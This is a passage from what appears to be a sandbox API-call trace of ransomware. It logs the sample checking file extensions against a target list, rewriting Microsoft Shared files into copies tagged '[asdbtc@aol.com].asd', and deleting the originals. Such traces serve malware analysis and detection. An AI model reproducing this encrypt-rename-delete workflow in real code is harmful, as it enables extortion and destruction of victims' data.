(lpString=".doc") returned 4 [0056.577] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.577] lstrlenW (lpString=".docx") returned 5 [0056.577] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.577] lstrlenW (lpString=".pdf") returned 4 [0056.577] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.577] lstrlenW (lpString=".xls") returned 4 [0056.577] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.577] lstrlenW (lpString=".xlsx") returned 5 [0056.577] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.577] lstrlenW (lpString=".ppt") returned 4 [0056.577] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.578] lstrlenW (lpString=".zip") returned 4 [0056.578] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.578] lstrlenW (lpString=".rar") returned 4 [0056.578] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.578] lstrlenW (lpString=".bz2") returned 4 [0056.578] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.578] lstrlenW (lpString=".7z") returned 3 [0056.578] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.578] lstrlenW (lpString=".dbf") returned 4 [0056.578] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.578] lstrlenW (lpString=".1cd") returned 4 [0056.578] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0056.578] lstrlenW (lpString=".jpg") returned 4 [0056.578] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.578] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0056.578] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0056.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.579] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2668) returned 1 [0056.579] CloseHandle (hObject=0x1dc) returned 1 [0056.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0056.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0056.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0056.579] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.579] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.282] GetLastError () returned 0x0 [0057.283] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xa6c, lpOverlapped=0x0) returned 1 [0057.285] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xa70, lpOverlapped=0x0) returned 1 [0057.286] ReadFile (in: hFile=0x1dc, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.286] WriteFile (in: hFile=0x218, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0057.286] SetEndOfFile (hFile=0x218) returned 1 [0057.286] CloseHandle (hObject=0x218) returned 1 [0057.286] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.287] SetEndOfFile (hFile=0x1dc) returned 1 [0057.287] CloseHandle (hObject=0x1dc) returned 1 [0057.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.288] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0057.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.288] lstrlenW (lpString=".doc") returned 4 [0057.288] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.288] lstrlenW (lpString=".docx") returned 5 [0057.288] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.288] lstrlenW (lpString=".pdf") returned 4 [0057.288] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".xls") returned 4 [0057.289] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".xlsx") returned 5 [0057.289] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.289] lstrlenW (lpString=".ppt") returned 4 [0057.289] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.289] lstrlenW (lpString=".zip") returned 4 [0057.289] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".rar") returned 4 [0057.289] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString=".bz2") returned 4 [0057.289] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.289] lstrlenW (lpString=".7z") returned 3 [0057.289] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.289] lstrlenW (lpString=".dbf") returned 4 [0057.289] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.289] lstrlenW (lpString=".1cd") returned 4 [0057.289] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.289] lstrlenW (lpString=".jpg") returned 4 [0057.289] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.289] lstrlenW (lpString=".doc") returned 4 [0057.290] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.290] lstrlenW (lpString=".docx") returned 5 [0057.290] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0057.290] lstrlenW (lpString=".pdf") returned 4 [0057.290] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.290] lstrlenW (lpString=".xls") returned 4 [0057.290] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.290] lstrlenW (lpString=".xlsx") returned 5 [0057.290] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0057.290] lstrlenW (lpString=".ppt") returned 4 [0057.290] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.290] lstrlenW (lpString=".zip") returned 4 [0057.290] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.290] lstrlenW (lpString=".rar") returned 4 [0057.290] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.290] lstrlenW (lpString=".bz2") returned 4 [0057.290] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.290] lstrlenW (lpString=".7z") returned 3 [0057.290] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.290] lstrlenW (lpString=".dbf") returned 4 [0057.290] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.290] lstrlenW (lpString=".1cd") returned 4 [0057.290] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0057.290] lstrlenW (lpString=".jpg") returned 4 [0057.291] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.291] lstrcmpiW (lpString1=".config", lpString2=".asd") returned 1 [0057.291] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0057.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.293] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=716) returned 1 [0057.293] CloseHandle (hObject=0x168) returned 1 [0057.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0057.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.294] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.294] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0057.294] GetLastError () returned 0x0 [0057.294] ReadFile (in: hFile=0x168, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x2cc, lpOverlapped=0x0) returned 1 [0057.297] WriteFile (in: hFile=0x1dc, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0057.298] ReadFile (in: hFile=0x168, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.298] WriteFile (in: hFile=0x1dc, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0057.298] SetEndOfFile (hFile=0x1dc) returned 1 [0057.298] CloseHandle (hObject=0x1dc) returned 1 [0057.298] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.298] SetEndOfFile (hFile=0x168) returned 1 [0057.299] CloseHandle (hObject=0x168) returned 1 [0057.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0057.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.300] lstrlenW (lpString=".doc") returned 4 [0057.300] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0057.300] lstrlenW (lpString=".docx") returned 5 [0057.300] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0057.300] lstrlenW (lpString=".pdf") returned 4 [0057.300] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0057.300] lstrlenW (lpString=".xls") returned 4 [0057.300] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0057.300] lstrlenW (lpString=".xlsx") returned 5 [0057.300] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0057.300] lstrlenW (lpString=".ppt") returned 4 [0057.300] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0057.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.300] lstrlenW (lpString=".zip") returned 4 [0057.300] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0057.300] lstrlenW (lpString=".rar") returned 4 [0057.300] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0057.300] lstrlenW (lpString=".bz2") returned 4 [0057.300] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0057.300] lstrlenW (lpString=".7z") returned 3 [0057.300] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0057.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.300] lstrlenW (lpString=".dbf") returned 4 [0057.300] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.301] lstrlenW (lpString=".1cd") returned 4 [0057.301] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.301] lstrlenW (lpString=".jpg") returned 4 [0057.301] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.301] lstrlenW (lpString=".doc") returned 4 [0057.301] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString=".docx") returned 5 [0057.301] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0057.301] lstrlenW (lpString=".pdf") returned 4 [0057.301] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString=".xls") returned 4 [0057.301] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString=".xlsx") returned 5 [0057.301] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0057.301] lstrlenW (lpString=".ppt") returned 4 [0057.301] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.301] lstrlenW (lpString=".zip") returned 4 [0057.301] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString=".rar") returned 4 [0057.301] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString=".bz2") returned 4 [0057.301] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0057.301] lstrlenW (lpString=".7z") returned 3 [0057.302] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0057.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.302] lstrlenW (lpString=".dbf") returned 4 [0057.302] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0057.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.302] lstrlenW (lpString=".1cd") returned 4 [0057.302] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0057.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0057.302] lstrlenW (lpString=".jpg") returned 4 [0057.302] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0057.302] lstrcmpiW (lpString1=".MSG", lpString2=".asd") returned 1 [0057.302] lstrlenW (lpString="FPEXT.MSG") returned 9 [0057.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.303] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=169637) returned 1 [0057.303] CloseHandle (hObject=0x168) returned 1 [0057.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0057.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.304] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.304] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0057.305] GetLastError () returned 0x0 [0057.305] ReadFile (in: hFile=0x168, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x296a5, lpOverlapped=0x0) returned 1 [0057.312] WriteFile (in: hFile=0x1dc, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0057.317] ReadFile (in: hFile=0x168, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.317] WriteFile (in: hFile=0x1dc, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.318] SetEndOfFile (hFile=0x1dc) returned 1 [0057.318] CloseHandle (hObject=0x1dc) returned 1 [0057.318] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.318] SetEndOfFile (hFile=0x168) returned 1 [0057.320] CloseHandle (hObject=0x168) returned 1 [0057.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.320] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0057.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.321] lstrlenW (lpString=".doc") returned 4 [0057.321] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0057.321] lstrlenW (lpString=".docx") returned 5 [0057.321] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0057.321] lstrlenW (lpString=".pdf") returned 4 [0057.321] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0057.321] lstrlenW (lpString=".xls") returned 4 [0057.321] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0057.321] lstrlenW (lpString=".xlsx") returned 5 [0057.321] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0057.321] lstrlenW (lpString=".ppt") returned 4 [0057.321] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0057.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.321] lstrlenW (lpString=".zip") returned 4 [0057.321] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0057.321] lstrlenW (lpString=".rar") returned 4 [0057.321] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0057.321] lstrlenW (lpString=".bz2") returned 4 [0057.321] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0057.321] lstrlenW (lpString=".7z") returned 3 [0057.321] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0057.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.321] lstrlenW (lpString=".dbf") returned 4 [0057.321] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0057.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.322] lstrlenW (lpString=".1cd") returned 4 [0057.322] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0057.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.322] lstrlenW (lpString=".jpg") returned 4 [0057.322] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0057.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.563] lstrlenW (lpString=".doc") returned 4 [0057.564] 